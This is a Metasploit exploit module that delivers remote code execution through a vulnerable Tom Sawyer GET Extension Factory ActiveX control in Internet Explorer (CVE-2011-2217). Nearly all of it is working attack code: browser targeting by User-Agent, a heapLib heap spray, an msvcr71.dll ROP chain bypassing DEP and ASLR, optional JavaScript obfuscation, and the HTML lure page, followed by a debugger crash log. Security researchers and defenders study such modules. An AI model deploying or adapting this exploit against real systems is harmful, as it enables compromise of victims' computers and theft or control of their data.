Tom Sawyer Software GET Extension Factory Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  # include Msf::Exploit::Remote::BrowserAutopwn
  #
  # autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :rank       => NormalRanking,
  #  :classid    => "{658ED6E7-0DA1-4ADD-B2FB-095F08091118}"
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution",
        'Description' => %q{
          This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll
          ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect
          initialization under Internet Explorer.

          While the Tom Sawyer GET Extension Factory is installed with some versions of VMware
          Infrastructure Client, this module has been tested only with the versions installed
          with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX
          control tested is tsgetx71ex553.dll, version 5.5.3.238.

          This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The
          dll is installed by default with the Embarcadero software, and loaded by the targeted
          ActiveX.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Elazar Broad', # Vulnerability discovery
          'rgod', # PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-2217' ],
          [ 'OSVDB', '73211' ],
          [ 'BID', '48099' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          # Embarcadero Technologies ER/Studio XE2
          # tsgetx71ex553.dll 5.5.3.238
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop' => nil,
              'Offset' => '0x00'
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop' => nil,
              'Offset' => '0x800 - code.length'
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop' => true,
              'Offset' => '0x0',
              'RopChainOffset' => '0x73e'
            }
          ],
          [
            'IE 8 on Windows 7 SP1',
            {
              'Rop' => true,
              'Offset' => '0x0',
              'RopChainOffset' => '0x73e'
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-05-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ]
    )
  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  # IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
      return targets[4]  # IE 8 on Windows 7 SP1
    else
      return nil
    end
  end

  def junk(n = 4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  def get_rop_chain(t)
    adjust =
      [
        junk, # heap sprayed to 342d1ea0
        0x7c1ce310,  # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL
        0x7c347f98,  # RETN (ROP NOP) # msvcr71.dll
        junk,
        junk,
        junk,
        junk,
        junk,
        junk
      ].pack("V*")

    # chain generated by mona.py - See corelan.be
    rop =
      [
        0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
        0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
        0x7c347f98,  # RETN (ROP NOP)
        0x7c3415a2,  # JMP [EAX]
        0xffffffff,
        0x7c376402,  # skip 4 bytes
        0x7c351e05,  # NEG EAX # RETN
        0x7c345255,  # INC EBX # FPATAN # RETN
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
        0x7c344f87,  # POP EDX # RETN
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x7c351eb1,  # NEG EDX # RETN
        0x7c34d201,  # POP ECX # RETN
        0x7c38b001,  # &Writable location
        0x7c347f97,  # POP EAX # RETN
        0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
        0x7c345c30,  # ptr to 'push esp #  ret '
      ].pack("V*")

    code = adjust
    code << rop

    return code
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    print_status("Target set: #{my_target.name}")

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))
    js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)
    randnop2 = rand_text_alpha(rand(100) + 1)

    if my_target['Rop'].nil?
      js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);"
    else
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
      js_shellcode = <<-JS_ROP
      var rop_chain = unescape("#{js_rop}");
      var nops_padding = nops.substring(0, 0x73e-code.length-offset.length);
      var shellcode = code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
      JS_ROP
      js_shellcode = js_shellcode.gsub(/^ {6}/, '')
    end

    js = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var #{randnop2} = "#{js_90_nops}";
    var nops_90 = unescape(#{randnop2});

    while (nops.length < 0x80000) nops += nops;
    while (nops_90.length < 0x80000) nops_90 += nops_90;

    var offset = nops.substring(0, #{my_target['Offset']});
    #{js_shellcode}

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x685; z++) {
      heap_obj.alloc(block);
    }

    JS

    js = heaplib(js, { :noobfu => true })

    # obfuscate on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid="clsid:658ED6E7-0DA1-4ADD-B2FB-095F08091118">
    </object>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

=begin
(b44.b48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0013e27c ecx=342d1ea0 edx=00000000 esi=75c63d38 edi=80004002
eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
tsgetx71ex553!Ordinal931+0x2dd:
28d2954d ff5104          call    dword ptr [ecx+4]    ds:0023:342d1ea4=????????
=end